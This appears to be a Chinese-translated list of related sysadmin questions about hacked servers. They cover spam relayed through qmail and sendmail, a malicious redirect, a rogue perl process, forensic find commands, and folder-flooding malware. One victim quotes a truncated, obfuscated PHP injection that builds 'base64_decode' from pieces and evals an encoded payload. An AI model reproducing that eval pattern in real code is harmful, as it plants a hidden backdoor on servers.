相关疑难解决方法(0)

我已将我的网站提交给不同的应用程序，例如 YahooWebmasters 和类似的地方。他们将我网站的主页标题视为Index of/. 但是我通常会看到它，如My Title.

服务器：上面写着 Apashi (wtf!?)，实际上是 Apache
PHP 5.2.5
FreeBSD
cPanel Version 11.24.4-RELEASE
Kernel version 6.3-PRERELEASE

主页：index.html
我猜是因为index.html
但为什么呢？

可能的重复：
在 Root 妥协后重新安装？

在具有管理权限的用户意外从连接到域的桌面上的 USB 驱动器加载病毒后，我们的一台服务器遭到破坏。最明显的两个症状是：

• 服务器不再响应登录尝试
• 包含用户数据的驱动器的根目录已被随机命名的空文件夹填充。（最初大约有 100 万个文件夹，我一直在慢慢删除它们。）

我已经运行了来自不同供应商的几次病毒扫描，并且非常确信病毒已被删除，但损坏已经完成。

我希望这两个症状是相关的，一旦目录消失，服务器将再次开始响应。驱动器响应非常慢。我一次删除大约 20k 个文件夹。除此之外，Windows资源管理器变得无响应。

如果我完成清理HD并且事情没有恢复正常，我还可以检查什么？

我有一个为同事运行的 linux 打包服务器（对吗？）。它最近被黑客入侵，过去几天我一直在努力摆脱恶意软件。它现在将我的大部分网站重定向到http://gator65.hostgator.com/~db905/tds/out.php?s_id=1。我能做什么？

可能重复：
我的服务器被黑了 紧急情况

我网站的某些页面正在分发有害软件。我该如何调查和解决这个问题？

我们的 Linux 服务器有点像噩梦。

Somehack 正在使用我们的服务器发送垃圾邮件。我清理了所有输入，有验证码图像，更改密码等，但仍然如此。
不知何故，他们继续这样做。每小时收到数千封电子邮件。我们每天有 3000 封电子邮件限制，因此在我清理队列后几乎立即阻止了我们的 SMTP。问题是，所有那些不断进来的电子邮件都以“未处理”的形式存储在某处，这将我们的磁盘空间增加到了极限，然后我什至看不到网站。我们的服务器是典型的 Linux，使用 Plesk 9.3 作为面板。在所有这些垃圾邮件中，他们将 root@ip-188-121-62-27.ip-secureserver.net 显示为发件人，我猜这是默认的系统地址。

我迫切需要阻止这种情况，我只是不知道该怎么做。有没有办法阻止该电子邮件地址发送电子邮件？通过 SSH 还是在 Plesk 中？

这是其中 1 封垃圾邮件的标题：

Received: (qmail 20441 invoked by uid 48); 9 Mar 2012 09:29:55 -0200
Date: 9 Mar 2012 09:29:55 -0200
Message-ID: <20120309112955.20439.qmail@ip-188-121-62-27.ip.secureserver.net>
To: harsadeyes@aol.com
Subject: Viaqra 0,89
From: "Reuben Velasquez" <reuben_velasquez@vigrxplus-ue.com>
MIME-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

可能重复：
我的服务器被黑了 紧急情况

我有这台服务器，但它已被入侵。我注意到 perl 运行了很多，但没有我正在运行的 perl 编程。下面是我的顶。

top - 21:20:54 up 8 days, 13:16,  1 user,  load average: 2.02, 2.23, 2.52
Tasks:  97 total,   2 running,  93 sleeping,   0 stopped,   2 zombie
Cpu(s): 77.7%us, 22.3%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   1034892k total,   730176k used,   304716k free,   181616k buffers
Swap:  2097144k total,        0k used,  2097144k free,   381540k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
25687 apache    25   0  5328 2896 1176 R …

如何保护我的邮件服务器使用垃圾邮件发送者向 yahoomail、gmail 等发送电子邮件

我的邮件服务器现在被 gmail 阻止了。已经设置为阻止所有这些，但仍然受到垃圾邮件发送者的攻击

以下日志邮件：-

Jun 24 03:29:26 abcd sendmail[13373]: q5NHV7Jm001938: to=<cornchopsunshady@yahoo.com>, ctladdr=<xxx@abcd.com> (525/528), delay=02:58:10, xdelay=00:00:02, mailer=esmtp, pri=3212216, relay=mta7.am0.yahoodns.net. [67.195.168.230], dsn=431, stat=Deferred: 452 Too many recipients

我非常感谢您的建议和帮助。

为日志邮件编辑：

Jun 24 03:29:06 abcd sendmail[13371]: q5NKT6s1013371: from='<www-data@crazyhorse.abcd.com>', size=2340, class=0, nrcpts=0,proto=ESMTP, daemon=MTA, relay=myISP.com
jun 24 03:29:06 abcd sendmail[13372]:q5NKT6wz013372: <www-data@abcd.com>.. User unknown
Jun 24 03:29:06 abcd sendmail[13372]:q5NKT6wZ013372: from=<>, size=3324, class=0,nrcpts, proto=ESMTP, daemon=MTA, relay=myISP.com
jun 24 03:29:10 abcd sendmail[13373]: grew WorkList for /var/spool/mqueue to 2000
jun 24 03:29:12 abcd sendmail[13373]: grew Worklist for …

什么是有用的 linux 命令对受感染的 linux web 服务器进行取证以提供某种信息/证据/回溯？例如检查日志，检查上次文件编辑，可疑的开放端口，以及其他有用的自动取证命令？

我注意到我的 CentOS 5.6 5.11 VPS 在今年 9 月的 3 天内有超过 16,000 个带有时间戳的文件。我不知道为什么会这样，因为在那段时间我没有通过 SSH 登录（也没有任何其他登录，这会非常令人担忧）并且在那段时间 Webmin 中没有任何操作记录。这是我改变系统文件所做的唯一两种方法。服务器似乎运行良好，但应该没有其他人可以访问（当然，主机除外），所以我想知道发生了什么。

我在文件中捕获了带有这些日期的文件，因此：

touch -t 201409160000 start.tmp
touch -t 201409190000 stop.tmp
find / -type f -newer start.tmp \! -newer stop.tmp -exec ls -la {} \; > sep-16-18.txt

但是我如何处理这些信息？音量太疯狂了！

[root](21:05:55)[~]$ grep "Sep 16" -c sep-16-18.txt
6079
[root](21:06:30)[~]$ grep "Sep 17" -c sep-16-18.txt
2580
[root](21:06:40)[~]$ grep "Sep 18" -c sep-16-18.txt
7653

整个 9 月剩下的时间总共不到 500 个文件，所以在月中发生了一些激进的事情。

几乎所有文件都在/usr/目录中：

/usr/:  16130
/lib/:     49
/sbin/:    49
/etc/:     45
/lib64/: …

我使用 Vesta 运行 Ubuntu 12.04 x64 VPS，以及一个 PHP 站点。它已被多次入侵，注入的代码如下所示：

<?php $KoDgalxVvsZfidVcEOTJDeMX='ba'.'se6'.'4_deco'.'de';eval($KoDgalxVvsZfidVcEOTJDeMX("cHJlZ19yZXBsYWNlKCIvN0xna0xnND1IR2JEOGs2WDht....

为了修复它，我决定将所有文件的权限和所有者更改为 555 和 root，因此没有用户可以更改文件。我删除了 FTP 访问并保护了 SSH，因此只有我在 VPS 中拥有的密钥才能连接。

尽管进行了所有这些更改，但其他用户始终可以更改文件、重命名文件夹和上传另一个被黑的文件。

你认为我缺少什么？有什么建议吗？谢谢！如果您需要有关此问题的更多信息，我将很乐意与您分享，以帮助其他遭受同样邪恶之苦的人！